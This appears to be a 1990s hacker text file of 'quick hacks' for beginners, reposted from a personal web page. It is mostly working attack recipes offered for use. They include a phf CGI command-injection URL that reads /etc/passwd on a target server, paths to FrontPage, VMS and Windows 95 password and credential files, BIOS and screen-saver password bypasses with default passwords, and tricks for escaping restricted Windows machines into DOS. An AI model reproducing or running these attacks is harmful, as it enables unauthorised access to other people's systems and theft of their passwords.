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Several Quick & Simple Hacks for beginners to try

Quick Hacks

These are all quick and simple hacks email me if you've got anymore i'll
write a few programs that will call on DOS etc soon.
The topics covered are vax/vms/windows/dos/macros/bios/etc in no particular
order... This is all pretty common knowledge and it can come in useful
sometimes .

[ from http://www.infowar.co.uk/manicx/ ]

System:   Webserver Using phf

Effect:   Run commands that user "nobody" can use ie (cat /etc/passwd)

Command:  http://www.yourtarget.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

System:    Webserver using Microsoft Front Page Extensions

Password file: Type the following in your location bar in your browser

Command:   www.yourtarget.com/_vti_pvt/service.pwd

System:    Windows (With VB)

Shell out: Put this in a vb application

Command:   Private Sub cmdCommand_Click()
               retval = Shell("start /max command.com")
           End Sub

System:    Windows

Shell out: This means get into dos !! use netscape or explorer to
           browse your hardrive (i.e. can run games at school)

Command:   file:///c|/windows/command.com in to the location URL
Command:   c:\ first then browse until you get your game.

System:    Vax Or Vms

Function:  Will Dump Some files in your Account Has an effect on your
           reading status too 

Command:   $analyze/process_dump

System:    Vax Or Vms

Function:  Where is that startup File

Try Here:  SYS$MANAGER:ANNOUNCE.TXT or SYS$Announce.txt

System:    VMS

Function:  Get password in

Command:   sys$system:sysuaf.dat

           Look at the alt.2600 FAQ for a program called Guess_password

System:   Windows 95

Function: ISP account name and encrypted password

Password: c:\windows\user.da0
Search  : Account to get ISP name and Password (encrypted)

System:   Windows 95

Function: Get rid of password on screen saver

Command:  just turn off password protection before screen saver comes on
          press ctrl+alt+del if its a non standard screensaver
          edit c:\windows\control.ini change PWprotected=1 to 0
          and delete after the Password=

System:    Windows

Function:  Gets rid of BIOS password (and resets CMOS settings)

Command:   download this file unzip and run

System:   BIOS

Function: Remove BIOS password

Command:  Pull out the CMOS battery for 5-10 minutes
          Then go through setup again once you have installed the battery
          Best idea is to put in a new password :) then they will think
          that they just forgot it ]:'

System:   BIOS

Function: BIOS Password Defaults

Command:  Defaults are RM, BIOS, password, Tiny, compaq, Award
          admin, system

System:   Windows

Function: Get past any password protection before boot-up

Command:  Try booting from a floppy
          or holding down the shift key during startup

System:   Windows

Function: Shell out (get into DOS)

Command:  open wordpad or winword etc
          Open command.com in the word editor
          save it as something you can use i.e. calc.exe
          close word or whatever down
          run calc to get into dos.
          Write a small program in tpw or c or whatever
          that puts you in DOS.
          Had one written in Turbo Pascal i'll try and get as many
          as i can in the near future and stick em up here..

System:   Windows

Function: Shell out (get into DOS)

Command:  Open word 97 if you've got it
          Goto insert then object
          Click on create from file
          in file type c:\command.com or c:\windows\command.com
          click OK
          Right click on the inserted file and goto package object then
          activate contents

System:   Windows

Function: Shell out (get into DOS)

Command:  Save this file 
          on your desktop type in c:\windows\desktop\letmeout.bat
          then just click on it.

          In the .bat file it has one line (see below)
          call command.com
          so you can make up your own .bat files
          simply run wordpad list down your commands
          and save as whatever.bat

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